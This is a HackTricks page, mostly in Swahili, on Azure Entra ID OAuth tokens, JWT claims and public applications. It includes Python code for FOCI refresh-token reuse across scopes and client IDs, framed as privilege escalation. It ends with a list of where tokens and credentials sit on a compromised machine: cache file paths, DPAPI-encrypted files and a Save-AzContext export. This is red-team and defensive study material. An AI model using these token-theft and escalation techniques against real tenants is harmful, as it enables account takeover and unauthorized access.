Az - Tokens & Public Applications

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Entra ID ni jukwaa la Microsoft la utambulisho na usimamizi wa ufikiaji (IAM) linalotegemea wingu, likitumika kama mfumo wa msingi wa uthibitishaji na idhini kwa huduma kama Microsoft 365 na Azure Resource Manager. Azure AD inautekeleza fremu ya idhini ya OAuth 2.0 na itifaki ya uthibitishaji OpenID Connect (OIDC) kusimamia ufikiaji wa rasilimali.

OAuth

Key Participants in OAuth 2.0:

  1. Resource Server (RS): Linalinda rasilimali zinazomilikiwa na mmiliki wa rasilimali.
  2. Resource Owner (RO): Kwa kawaida ni mtumiaji wa mwisho ambaye anamiliki rasilimali zilizolindwa.
  3. Client Application (CA): Programu inayotafuta ufikiaji wa rasilimali kwa niaba ya mmiliki wa rasilimali.
  4. Authorization Server (AS): Hutoa access tokens kwa client applications baada ya kuzi-authenticate na kuzipa idhini.

Scopes and Consent:

  • Scopes: Ruhusa za kiwango-kipande zimetambulishwa kwenye resource server zinazoonyesha viwango vya ufikiaji.
  • Consent: Mchakato ambapo mmiliki wa rasilimali anampa client application ruhusa ya kufikia rasilimali kwa scopes maalum.

Microsoft 365 Integration:

  • Microsoft 365 inatumia Azure AD kwa IHAM na imeundwa kwa applications nyingi za “first-party”.
  • Applications hizi zimeunganishwa kwa kina na mara nyingi zina uhusiano wa huduma ambao hutegemeana.
  • Ili kurahisisha uzoefu wa mtumiaji na kudumisha utendakazi, Microsoft huwapa applications hizi za first-party “implied consent” au “pre-consent”.
  • Implied Consent: Programu fulani hupata kiotomatiki access kwa scopes maalum bila idhini ya wazi ya mtumiaji au msimamizi.
  • Scopes hizi zilizotanguliwa kwa kawaida huwa zimefichwa kwa watumiaji na wasimamizi, na hivyo kuwa zisizoonekana sana katika interfaces za usimamizi za kawaida.

Client Application Types:

  1. Confidential Clients:
  • Zinamiliki credentials zao (mfano, passwords au certificates).
  • Zinaweza kuji-authenticate kwa usalama kwa authorization server.
  1. Public Clients:
  • Hazina credentials za kipekee.
  • Haziwezi kujithibitisha kwa usalama kwa authorization server.
  • Security Implication: Mdukuzi anaweza kujigawa kama public client application anapofanya maombi ya tokens, kwani hakuna mekanismi kwa authorization server kuthibitisha uhalali wa application.

Authentication Tokens

Kuna aina tatu za tokens zinazotumika katika OIDC:

  • Access Tokens: Mteja huwasilisha token hii kwa resource server ili kupata rasilimali. Inaweza kutumika tu kwa mchanganyiko maalum wa mtumiaji, client, na rasilimali na haiwezi kufutwa hadi itakapotia muda - kawaida ni saa 1 kwa default.
  • ID Tokens: Mteja hupokea token hii kutoka kwa authorization server. Ina taarifa za msingi kuhusu mtumiaji. Imefungamana na mchanganyiko maalum wa mtumiaji na client.
  • Refresh Tokens: Zinapotolewa kwa mteja pamoja na access token. Zinatumika kupata access na ID tokens mpya. Zimefungamana na mchanganyiko maalum wa mtumiaji na client na zinaweza kufutwa. Muda wa default wa kumalizika ni siku 90 kwa refresh tokens zisizotumika na hakuna kumalizika kwa tokens zinazoendelea (kutokana na refresh token inawezekana kupata refresh tokens mpya).
  • Refresh token inapaswa kuhusishwa na aud, na baadhi ya scopes, na kwa tenant, na inapaswa tu kuweza kuzalisha access tokens kwa aud hiyo, scopes hizo (na si zaidi) na tenant. Hata hivyo, hili si kawaida kwa FOCI applications tokens.
  • Refresh token imefichwa (encrypted) na ni Microsoft pekee inaweza kuisomea (decrypt).
  • Kupata refresh token mpya hakufutili otomatiki refresh token ya awali.

Warning

Taarifa za conditional access zinawekwa ndani ya JWT. Kwa hiyo, kama utaomba token kutoka kwa anwani ya IP iliyoruhusiwa, anwani hiyo ya IP itawekwa ndani ya token na baadaye unaweza kutumia token hiyo kutoka anwani ya IP isiyoruhusiwa kufikia rasilimali.

Access Tokens “aud”

Uwanja unaoashiriwa katika uwanja wa “aud” ni resource server (application) inayotumika kufanya login.

Amri az account get-access-token --resource-type [...] inaunga mkono aina zifuatazo na kila moja yao itaongeza “aud” maalum katika access token inayotokana:

Caution

Kumbuka kwamba yafuatayo ni API ambazo az account get-access-token inazisaidia tu lakini kuna zaidi.

mfano za aud
  • aad-graph (Azure Active Directory Graph API): Inatumika kufikia Azure AD Graph API ya zamani (deprecated), ambayo inaruhusu applications kusoma na kuandika data za saraka katika Azure Active Directory (Azure AD).
  • https://graph.windows.net/
  • arm (Azure Resource Manager): Inatumika kusimamia rasilimali za Azure kupitia Azure Resource Manager API. Hii ni pamoja na operesheni kama kuunda, kusasisha, na kufuta rasilimali kama virtual machines, storage accounts, na zaidi.
  • https://management.core.windows.net/ or https://management.azure.com/

  • batch (Azure Batch Services): Inatumika kufikia Azure Batch, huduma inayorwaa kuendesha programu za hesabu zenye utaratibu mkubwa na utendaji wa juu kwa ufanisi kwenye wingu.

  • https://batch.core.windows.net/

  • data-lake (Azure Data Lake Storage): Inatumika kuingiliana na Azure Data Lake Storage Gen1, ambayo ni huduma ya kuhifadhi data inayoweza kupanuka kwa ajili ya uchambuzi.
  • https://datalake.azure.net/

  • media (Azure Media Services): Inatumika kufikia Azure Media Services, zinazotoa huduma za usindikaji wa media na utangazaji kwa video na sauti kwenye wingu.

  • https://rest.media.azure.net

  • ms-graph (Microsoft Graph API): Inatumika kufikia Microsoft Graph API, sehemu moja ya mwisho (unified endpoint) kwa data za huduma za Microsoft 365. Inakuwezesha kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama.
  • https://graph.microsoft.com

  • oss-rdbms (Azure Open Source Relational Databases): Inatumika kufikia huduma za Database za Azure kwa engines za relational za chanzo wazi kama MySQL, PostgreSQL, na MariaDB.

  • https://ossrdbms-aad.database.windows.net

Access Tokens Scopes “scp”

Scope ya access token imehifadhiwa ndani ya ufunguo wa scp ndani ya access token JWT. Scopes hizi zinaelezea ni nini access token inaweza kufikia.

Kama JWT imepewa ruhusa ya kuwasiliana na API maalum lakini hainayo scope za kutekeleza kitendo kilichoombwa, haitakuwa na uwezo wa kutekeleza kitendo hicho kwa JWT hiyo.

Get refresh & access token example

# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"00b41c95-dab0-4487-9791-b9d2c32c80f2" # ID for Office 365 Management
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)


# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)

Other access token fields

  • appid: Application ID iliyotumika kuzalisha token
  • appidacr: The Application Authentication Context Class Reference inaonyesha jinsi client ilivyothibitishwa; kwa public client thamani ni 0, na ikiwa client secret imetumika thamani ni 1
  • acr: The Authentication Context Class Reference claim ni “0” wakati uthibitishaji wa end-user haukukidhi mahitaji ya ISO/IEC 29115.
  • amr: The Authentication method inaonyesha jinsi token ilivyothibitishwa. Thamani ya “pwd” inaonyesha kwamba password ilitumiwa.
  • groups: Inaonyesha kundi ambazo principal ni mwanachama.
  • iss: The iss inatambua security token service (STS) iliyotengeneza token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
  • oid: Object ID ya principal
  • tid: Tenant ID
  • iat, nbf, exp: Issued at (wakati ilipotolewa), Not before (haiwezi kutumika kabla ya wakati huu, kawaida thamani sawa na iat), Expiration time (muda wa kumalizika).

FOCI Tokens Privilege Escalation

Previously ilimetajwa kuwa refresh tokens zinapaswa kuambatanishwa na scopes ambazo zilitolewa pamoja nazo, na na application na tenant kwa ajili ya zilipotengenezwa. Iwapo mojawapo ya mipaka hii itavunjwa, inawezekana kufanya privilege escalation kwani itakuwa inawezekana kuzalisha access tokens kwa rasilimali na tenants vingine ambavyo mtumiaji ana ufikiaji kwao na kwa scopes zaidi kuliko ilikusudiwa awali.

Moreover, this is possible with all refresh tokens in the Microsoft identity platform (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the docs mention: “Refresh tokens are bound to a combination of user and client, but aren’t tied to a resource or tenant. A client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them.”

Moreover, note that the FOCI applications are public applications, so no secret is needed to authenticate to the server.

Then known FOCI clients reported in the original research can be found here.

Get different scope

Kufuata mfano wa code uliotangulia, katika code hii ombi limefanywa la token mpya kwa scope tofauti:

# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)

Pata mteja na mawigo tofauti

# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

Wapi kupata token

Kutoka mtazamo wa mshambulizi ni muhimu sana kujua wapi inawezekana kupata token za ufikiaji (access tokens) na token za upya (refresh tokens) wakati kwa mfano PC ya mwathirika imedukuliwa:

  • Inside <HOME>/.Azure
  • azureProfile.json contains info about logged in users from the past
  • clouds.config contains info about subscriptions
  • service_principal_entries.json contains applications credentials (tenant id, clients and secret). Only in Linux & macOS
  • msal_token_cache.json contains contains token za ufikiaji (access tokens) na token za upya (refresh tokens). Only in Linux & macOS
  • service_principal_entries.bin and msal_token_cache.bin are used in Windows and are encrypted with DPAPI
  • msal_http_cache.bin is a cache of HTTP request
  • Load it: with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)
  • AzureRmContext.json contains information about previous logins using Az PowerShell (but no credentials)
  • Inside C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\* are several .bin files with token za ufikiaji (access tokens), token za ID (ID tokens) and account information encrypted with the users DPAPI.
  • It’s possible to find more token za ufikiaji (access tokens) in the .tbres files inside C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\ which contain a base64 encrypted with DPAPI with access tokens.
  • In Linux and macOS you can get token za ufikiaji (access tokens), token za upya (refresh tokens) and token za kitambulisho (id tokens) from Az PowerShell (if used) running pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
  • In Windows this just generates id tokens.
  • Possible to see if Az PowerShell was used in Linux and macSO checking is $HOME/.local/share/.IdentityService/ exists (although the contained files are empty and useless)
  • If the user is logged inside Azure with the browser, according to this post it’s possible to start the authentication flow with a redirect to localhost, make the browser automatically authorize the login, and receive the refresh token. Note that there are only a few FOCI applications that allow redirect to localhost (like az cli or the powershell module), so these applications must be allowed.
  • Another option explained in the blog is to use the tool BOF-entra-authcode-flow which can use any application because it’ll get the OAuth code to then get a refresh token from the title of the final auth page using the redirect URI https://login.microsoftonline.com/common/oauth2/nativeclient.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks